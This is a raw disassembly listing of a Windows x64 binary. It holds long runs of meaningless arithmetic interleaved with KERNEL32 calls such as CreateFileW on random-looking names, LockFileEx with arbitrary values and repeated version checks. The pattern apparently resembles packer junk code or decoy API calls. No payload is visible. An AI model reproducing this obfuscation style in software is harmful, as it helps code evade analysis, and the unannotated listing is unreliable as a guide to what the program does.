movsx eax, word [rax]
mov rcx, qword [rsp + 0x12f30]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x140362560], ax
lea rax, [rsp + 0x73c]
mov qword [rsp + 0x16348], rax
mov rax, qword [0x140369f38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2ce4]
add eax, ecx
mov word [rsp + 0x2324], ax
mov rcx, qword [rsp + 0x15908]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xa498], eax
mov rax, qword [rsp + 0x14cb0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14768]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1f3], al
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x292
mov r9d, 0x1c45
mov r8d, 0xadc68d49
mov edx, 2
mov rcx, qword [rsp + 0x140e0]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xa46c], eax
mov rax, qword [rsp + 0x16270]
mov eax, dword [rax]
mov dword [rsp + 0xa49c], eax
mov rax, qword [rsp + 0x14d70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5b48]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x640c], eax
mov eax, dword [rsp + 0x9e14]
mov dword [rsp + 0xa4a0], eax
mov rax, qword [rsp + 0x161c8]
mov ecx, dword [0x140369d50]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9e50], eax
mov rax, qword [rsp + 0x15340]
mov rcx, qword [rsp + 0x13ba0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6928], eax
mov rax, qword [rsp + 0x15678]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2da0]
add eax, ecx
mov word [rsp + 0x2d98], ax
xor r8d, r8d
mov edx, 1
lea rcx, [rsp + 0x4b6d0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0xa4a4], eax
mov rax, qword [0x14036a360]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x15be8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1403525cb], al
mov rax, qword [rsp + 0x15a00]
mov ecx, dword [rsp + 0x9e8c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12cf8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9c94]
mov dword [rsp + 0xa4a8], eax
mov eax, dword [rsp + 0x9d5c]
movzx ecx, al
mov eax, dword [str.7__]
shl eax, cl
mov rcx, qword [rsp + 0x162c0]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa428]
mov ecx, dword [rsp + 0xa208]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x8ea4], eax
mov rax, qword [rsp + 0x15978]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13a90]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x77f], al
mov rax, qword [rsp + 0x13c80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x24a4]
imul eax, ecx
mov rcx, qword [rsp + 0x132b0]
mov word [rcx], ax
mov rcx, qword [rsp + 0x14590]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0x1988]
mov qword [rsp + 0x16350], rax
mov rax, qword [0x140369bf0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x512]
or eax, ecx
mov byte [rsp + 0x2d1], al
mov rax, qword [rsp + 0x141b8]
mov eax, dword [rax]
mov dword [0x14036a3f0], eax
lea rax, [rsp + 0x9eac]
mov qword [rsp + 0x16358], rax
movzx eax, word [rsp + 0x2cc0]
mov rcx, qword [0x140369c20]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2d08], ax
mov rax, qword [rsp + 0x14a38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x755]
and eax, ecx
mov byte [rsp + 0x79c], al
lea rax, [rsp + 0xa110]
mov qword [rsp + 0x16360], rax
mov rax, qword [rsp + 0x13dc0]
mov rcx, qword [0x140369d68]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13608]
mov dword [rcx], eax
lea rax, [rsp + 0x7198]
mov qword [rsp + 0x16368], rax
mov rax, qword [rsp + 0x13de0]
mov rcx, qword [rsp + 0x13118]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa0b4], eax
movzx eax, byte [rsp + 0x233]
mov byte [rsp + 0x7cc], al
movzx eax, word [rsp + 0x10d4]
movzx ecx, word [rsp + 0x2c74]
add eax, ecx
mov rcx, qword [0x14036a3c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x13fd8]
mov ecx, dword [rsp + 0x9aec]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9f20], eax
mov rax, qword [rsp + 0x15590]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9c10]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa01c], eax
lea rax, [rsp + 0x9ea8]
mov qword [rsp + 0x16370], rax
lea rdx, [rsp + 0x43250]
mov rcx, qword [rsp + 0x13db8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9a44], eax
mov rax, qword [rsp + 0x14850]
mov ecx, dword [rsp + 0xa110]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x14a00]
mov dword [rcx], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.vuAtqCyC8qy4oLWNmVG9OM
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x16378], rax
mov eax, dword [0x140362498]
mov dword [rsp + 0xa4ac], eax
mov rax, qword [rsp + 0x153d0]
movsx eax, byte [rax]
imul eax, eax, 0x6d
mov byte [rsp + 0x786], al
mov rax, qword [rsp + 0x15ed8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1640]
add eax, ecx
mov rcx, qword [rsp + 0x15d70]
mov word [rcx], ax
mov rcx, qword [rsp + 0x158b0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [0x1403624bc]
mov qword [rsp + 0x16380], rax
movzx eax, byte [rsp + 0x1c4]
mov byte [0x140363ffc], al
mov rax, qword [rsp + 0x14600]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9c04]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa1d8], eax
lea rax, [rsp + 0x8df8]
mov qword [rsp + 0x16388], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
xor r8d, r8d
mov edx, 0x40
lea rcx, [rsp + 0x4b910]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9c2c], eax
mov rax, qword [rsp + 0x15000]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7b4]
sar eax, cl
mov rcx, qword [rsp + 0x14cd0]
mov byte [rcx], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.5waR041Z04Ae1bAiLT5b
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x16390], rax
mov rax, qword [rsp + 0x13110]
movzx eax, word [rax]
cdq
mov ecx, 0x4b3
idiv ecx
mov rcx, qword [rsp + 0x16020]
mov word [rcx], ax
mov qword [rsp + 0x20], 0
mov r9d, 0x44d
mov r8d, 0x39a0
mov edx, 0x7a
mov rcx, qword [rsp + 0x136b8]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x9af8], eax
lea rax, [0x140362548]
mov qword [rsp + 0x16398], rax
mov rax, qword [rsp + 0x15300]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9748]
shl eax, cl
mov rcx, qword [rsp + 0x14618]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa010]
mov ecx, dword [rsp + 0x9cbc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x95c8], eax
mov rax, qword [rsp + 0x15970]
mov ecx, dword [rsp + 0xa240]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14d58]
mov dword [rcx], eax
lea rax, [rsp + 0x2344]
mov qword [0x14036a3f8], rax
mov rax, qword [rsp + 0x14c10]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6df]
or eax, ecx
mov rcx, qword [rsp + 0x13710]
mov byte [rcx], al
mov edx, 0xcfe
mov rcx, qword [rsp + 0x13290]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9e64], eax
mov eax, dword [0x1403624f8]
mov dword [rsp + 0xa4b0], eax
mov rax, qword [rsp + 0x140b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a14]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13b38]
mov dword [rcx], eax
lea rax, [rsp + 0x736]
mov qword [rsp + 0x163a0], rax
mov rax, qword [rsp + 0x13230]
movsx eax, word [rax]
mov rcx, qword [0x140369e80]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2de8], ax
lea rax, [rsp + 0x77f]
mov qword [rsp + 0x163a8], rax
movzx eax, word [rsp + 0x2d04]
movzx ecx, word [rsp + 0x2d5c]
add eax, ecx
mov rcx, qword [rsp + 0x138e8]
mov word [rcx], ax
mov eax, dword [rsp + 0x9ddc]
mov ecx, dword [rsp + 0xa284]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9f58], eax
mov eax, dword [rsp + 0x9aac]
mov ecx, dword [rsp + 0x9d58]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x140369e78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x138d8]
mov rcx, qword [0x14036a150]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7060], eax
mov rax, qword [rsp + 0x159c8]
mov ecx, dword [rsp + 0xa12c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6598], eax
mov rax, qword [rsp + 0x160b0]
mov eax, dword [rax]
mov dword [rsp + 0xa4b4], eax
movzx eax, byte [rsp + 0x7a1]
movzx ecx, byte [0x140363f6c]
imul eax, ecx
mov byte [rsp + 0x13b], al
mov rax, qword [rsp + 0x16258]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x15088]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x145d0]
mov word [rcx], ax
lea rax, [rsp + 0x72b8]
mov qword [rsp + 0x163b0], rax
mov eax, dword [rsp + 0x6658]
mov rcx, qword [rsp + 0x144f0]
mov qword [rsp + 0x163b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x163b8]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x12f48]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9c80]
mov dword [rsp + 0xa4b8], eax
mov rax, qword [rsp + 0x13ce0]
mov rcx, qword [rsp + 0x14430]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x140362508], eax
mov rax, qword [rsp + 0x156e0]
movzx eax, byte [rax]
mov rcx, qword [0x14036a3a8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x763], al
mov dword [rsp + 0x4d2f0], 0x11c
mov rax, qword [rsp + 0x14dc0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x18cc]
and eax, ecx
mov rcx, qword [rsp + 0x15028]
mov word [rcx], ax
lea rax, [rsp + 0x519]
mov qword [rsp + 0x163c0], rax
movsx eax, word [rsp + 0x2c8c]
movsx ecx, word [rsp + 0x1988]
and eax, ecx
mov rcx, qword [rsp + 0x13330]
mov word [rcx], ax
lea rax, [rsp + 0x99d8]
mov qword [rsp + 0x163c8], rax
mov rax, qword [rsp + 0x12fa0]
mov ecx, dword [rsp + 0x9ed4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5ac8], eax
movzx eax, word [0x14036a008]
movzx ecx, word [rsp + 0x1dc8]
imul eax, ecx
mov word [rsp + 0x1e6c], ax
mov rax, qword [rsp + 0x13708]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x779]
or eax, ecx
mov rcx, qword [rsp + 0x150c0]
mov byte [rcx], al
lea rax, [rsp + 0x69c8]
mov qword [0x14036a400], rax
mov eax, dword [rsp + 0x9c10]
mov ecx, dword [rsp + 0x7344]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15fa0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9f80]
mov dword [rsp + 0xa4bc], eax
mov rax, qword [rsp + 0x13748]
mov rcx, qword [rsp + 0x14618]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x15300]
mov dword [rcx], eax
lea rax, [0x140362450]
mov qword [rsp + 0x163d0], rax
mov rax, qword [rsp + 0x15c58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x15c50]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14ac0]
mov byte [rcx], al
mov eax, dword [0x140362518]
mov ecx, dword [rsp + 0xa198]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa434], eax
mov rax, qword [rsp + 0x15d58]
mov rcx, qword [rsp + 0x143b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5f70], eax
mov rax, qword [rsp + 0x13670]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa25c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x159d8]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x13bc8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9ce0], eax
mov rax, qword [rsp + 0x16358]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa1b8]
sub ecx, eax
mov eax, ecx
mov dword [0x140362564], eax
mov rax, qword [rsp + 0x14b18]
mov eax, dword [rax]
mov dword [rsp + 0xa4c0], eax
movsx eax, byte [rsp + 0x75c]
mov rcx, qword [rsp + 0x153d0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13a40]
mov byte [rcx], al
mov rax, qword [0x14036a258]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2e2c]
shl eax, cl
mov word [rsp + 0x2c44], ax
mov rax, qword [rsp + 0x154e8]
movzx eax, byte [rax]
mov byte [rsp + 0x7cd], al
movzx eax, word [rsp + 0x2a94]
movzx ecx, word [rsp + 0x2a0c]
xor eax, ecx
mov word [rsp + 0x2420], ax
lea rax, [rsp + 0x8d78]
mov qword [rsp + 0x163d8], rax
mov rax, qword [rsp + 0x14020]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x8754]
sar eax, cl
mov dword [rsp + 0x9a2c], eax
movzx eax, byte [rsp + 0xec]
mov rcx, qword [rsp + 0x147d8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x78e], al
movzx eax, word [rsp + 0x2a2c]
movzx ecx, word [rsp + 0x2c30]
imul eax, ecx
mov word [0x14036255c], ax
mov rax, qword [rsp + 0x138f0]
mov rcx, qword [rsp + 0x16178]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x5614], eax
mov rax, qword [0x14036a3d8]
mov ecx, dword [rsp + 0xa258]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6980], eax
mov qword [rsp + 0x20], 0
mov r9d, 0x1144
mov r8d, 0x1ef7
mov edx, 2
mov rcx, qword [rsp + 0x141f8]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0xa4c4], eax
lea rax, [rsp + 0xa33c]
mov qword [rsp + 0x163e0], rax
mov rax, qword [rsp + 0x157c8]
mov rcx, qword [rsp + 0x13818]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa18c], eax
lea rax, [rsp + 0x78e]
mov qword [rsp + 0x163e8], rax
movzx eax, word [rsp + 0x1b98]
mov rcx, qword [rsp + 0x14b50]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x13e18]
mov word [rcx], ax
mov rax, qword [rsp + 0x14c80]
mov rcx, qword [rsp + 0x13838]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x162d0]
mov dword [rcx], eax
lea rax, [rsp + 0x9a2c]
mov qword [rsp + 0x163f0], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rax, qword [rsp + 0x153d0]
movzx eax, byte [rax]
mov byte [0x140363ffd], al
mov rax, qword [rsp + 0x14150]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2d2c]
and eax, ecx
mov rcx, qword [rsp + 0x14628]
mov word [rcx], ax
lea rax, [rsp + 0x556]
mov qword [rsp + 0x163f8], rax
movzx eax, word [rsp + 0x26d0]
mov rcx, qword [rsp + 0x14898]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x15da8]
mov word [rcx], ax
mov rax, qword [rsp + 0x15220]
mov ecx, dword [rsp + 0xa008]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13518]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa1d4], eax
mov rax, qword [rsp + 0x134f8]
mov eax, dword [rax]
mov dword [rsp + 0xa4c8], eax
mov rax, qword [rsp + 0x14860]
mov ecx, dword [rsp + 0xa4b4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa1a8], eax
xor r8d, r8d
mov edx, 0x40
lea rcx, [rsp + 0x4b130]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0xa498], eax
lea rax, [rsp + 0x7dcc]
mov qword [rsp + 0x16400], rax
mov rax, qword [rsp + 0x13b38]
mov rcx, qword [rsp + 0x13750]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x78f4], eax
mov rax, qword [rsp + 0x15518]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x510]
cdq
idiv ecx
mov rcx, qword [rsp + 0x15260]
mov byte [rcx], al
movzx eax, word [rsp + 0x2ca4]
mov rcx, qword [rsp + 0x13e00]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x140362458], ax
lea rax, [rsp + 0xa148]
mov qword [rsp + 0x16408], rax
mov eax, dword [rsp + 0xa1fc]
movzx ecx, al
mov eax, dword [rsp + 0x99b4]
sar eax, cl
mov dword [rsp + 0x8924], eax
mov eax, dword [rsp + 0x567c]
mov ecx, dword [rsp + 0x9cc0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x7e08], eax
mov rax, qword [rsp + 0x15a50]
mov ecx, dword [rsp + 0x6080]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6590], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.fLWMwSB9dtvUM0bJIDtY3hgMvIgE2A0S1s
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x16410], rax
mov rax, qword [rsp + 0x15c58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x173]
add eax, ecx
mov rcx, qword [rsp + 0x150d8]
mov byte [rcx], al
lea rax, [0x1403624cc]
mov qword [rsp + 0x16418], rax
mov rax, qword [rsp + 0x131b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x77a]
sub eax, ecx
mov byte [rsp + 0x77d], al
lea rax, [rsp + 0x17e4]
mov qword [rsp + 0x16420], rax
mov rax, qword [rsp + 0x15ff0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9be4]
and ecx, eax
mov eax, ecx
mov rcx, qword [0x140369c40]
mov dword [rcx], eax
mov eax, dword [rsp + 0x789c]
mov ecx, dword [rsp + 0x6050]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x16358]
mov dword [rcx], eax
lea rax, [rsp + 0x2c60]
mov qword [rsp + 0x16428], rax
movzx eax, byte [rsp + 0x74c]
mov rcx, qword [rsp + 0x14720]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x13fd0]
mov byte [rcx], al
mov rax, qword [rsp + 0x13f80]
mov rcx, qword [rsp + 0x16288]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14670]
mov dword [rcx], eax
lea rax, [rsp + 0x9b58]
mov qword [rsp + 0x16430], rax
mov rax, qword [rsp + 0x16278]
mov rcx, qword [rsp + 0x145b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9e6c], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa188], eax
mov eax, dword [rsp + 0x9bb0]
mov dword [rsp + 0xa4cc], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
movzx eax, word [rsp + 0x15c4]
movzx ecx, word [rsp + 0x2280]
and eax, ecx
mov word [rsp + 0x2e28], ax
lea rax, [rsp + 0x793]
mov qword [0x14036a408], rax
mov rax, qword [rsp + 0x15810]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa484]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7254], eax
mov rax, qword [rsp + 0x12ea8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9a30]
shl eax, cl
mov dword [rsp + 0x5c28], eax
mov rax, qword [rsp + 0x149f8]
mov rcx, qword [rsp + 0x149c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x8ca0], eax
mov rax, qword [rsp + 0x145b8]
mov eax, dword [rax]
mov dword [rsp + 0xa4d0], eax
mov eax, dword [rsp + 0x9c24]
movzx ecx, al
mov eax, dword [rsp + 0x9b00]
sar eax, cl
mov rcx, qword [rsp + 0x15fa0]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x12df8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, byte [rsp + 0x77d]
mov rcx, qword [rsp + 0x131b0]
movsx ecx, byte [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0x14a10]
mov byte [rcx], al
lea rax, [rsp + 0x2194]
mov qword [rsp + 0x16438], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PulseEvent]
mov rax, qword [rsp + 0x16010]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13a08]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x13960]
mov word [rcx], ax
movzx eax, byte [0x140363fef]
movzx ecx, byte [rsp + 0x72d]
imul eax, ecx
mov byte [0x1403525cf], al
mov eax, dword [rsp + 0x9b70]
mov dword [rsp + 0xa4d4], eax
mov eax, dword [rsp + 0x6080]
mov ecx, dword [rsp + 0xa008]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa1d8], eax
lea rax, [rsp + 0x74a]
mov qword [rsp + 0x16440], rax
movzx eax, word [rsp + 0x178c]
mov rcx, qword [rsp + 0x14a18]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x136e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x14be8]
mov ecx, dword [0x140362478]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x15ac0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x155b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9cd8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x80bc], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.snBOLTPCsnVXgE0q3yNj
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x16448], rax
mov eax, dword [rsp + 0xa0e0]
mov ecx, dword [rsp + 0xa13c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x16110]
mov dword [rcx], eax
mov rax, qword [0x140369bc8]
mov eax, dword [rax]
mov dword [rsp + 0xa4d8], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa394], eax
mov rax, qword [rsp + 0x13cd8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13100]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140362568], ax
mov rax, qword [rsp + 0x13878]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7a4]
or eax, ecx
mov byte [rsp + 0x797], al
mov eax, dword [rsp + 0x9688]
mov ecx, dword [rsp + 0x67d8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a24], eax
mov rax, qword [rsp + 0x152f0]
mov rcx, qword [rsp + 0x161e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5ed0], eax
movsx eax, byte [0x140363edd]
mov rcx, qword [rsp + 0x15780]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x77d], al
mov rax, qword [rsp + 0x15f30]
movzx eax, word [rax]
mov word [rsp + 0x2e34], ax
mov rax, qword [rsp + 0x13d80]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14de8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x266], al
movzx eax, word [0x140362550]
movzx ecx, word [rsp + 0x2d0c]
shl eax, cl
mov rcx, qword [rsp + 0x13308]
mov word [rcx], ax
mov eax, dword [rsp + 0x9d48]
mov dword [rsp + 0xa4dc], eax
mov rax, qword [rsp + 0x14888]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13260]
mov qword [rsp + 0x16450], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16450]
mov eax, dword [rax]
sar eax, cl
mov dword [0x140369bc0], eax
mov rcx, qword [rsp + 0x12cf0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9940], eax
mov rax, qword [rsp + 0x13da8]
mov eax, dword [rax]
mov ecx, dword [0x140369f08]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x62cc], eax
lea rax, [rsp + 0x9e54]
mov qword [rsp + 0x16458], rax
mov rax, qword [rsp + 0x15fc8]
mov ecx, dword [rsp + 0x9c20]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa39c], eax
mov rax, qword [rsp + 0x138e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1a5c]
and eax, ecx
mov rcx, qword [rsp + 0x14708]
mov word [rcx], ax
mov edx, 0x180
mov rcx, qword [rsp + 0x15df8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0xa4e0], eax
lea rax, [rsp + 0x2f8]
mov qword [rsp + 0x16460], rax
mov rcx, qword [rsp + 0x16330]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9e7c], eax
mov dword [rsp + 0x20], 0x386d
mov r9d, 0xda5
mov r8d, 0x2c0c
mov edx, 0x110a
mov rcx, qword [rsp + 0x12de8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0xa264], eax
mov eax, dword [0x140362498]
mov ecx, dword [rsp + 0x9c8c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14dd0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x156a8]
mov ecx, dword [rsp + 0x6590]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6ad0], eax
mov rax, qword [rsp + 0x133e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9f7c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x98e4], eax
lea rax, [rsp + 0x5c14]
mov qword [0x14036a410], rax
lea rax, [rsp + 0x137c]
mov qword [rsp + 0x16468], rax
mov rax, qword [rsp + 0x14dc8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13278]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13858]
mov byte [rcx], al
movsx eax, word [rsp + 0x277c]
mov rcx, qword [rsp + 0x16350]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2d14], ax
mov rax, qword [rsp + 0x15eb8]
movzx eax, byte [rax]
mov byte [rsp + 0x7ce], al
mov rax, qword [rsp + 0x134e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x79e4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9b70], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.1t8ECgaMU7NMLl5sd3l29
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x16470], rax
mov rax, qword [rsp + 0x159a0]
mov rcx, qword [rsp + 0x146a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x778c], eax
movzx eax, byte [rsp + 0x376]
movzx ecx, byte [rsp + 0x49c]
shl eax, cl
mov rcx, qword [rsp + 0x157d8]
mov byte [rcx], al
mov edx, 0x1680
mov rcx, qword [rsp + 0x15470]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
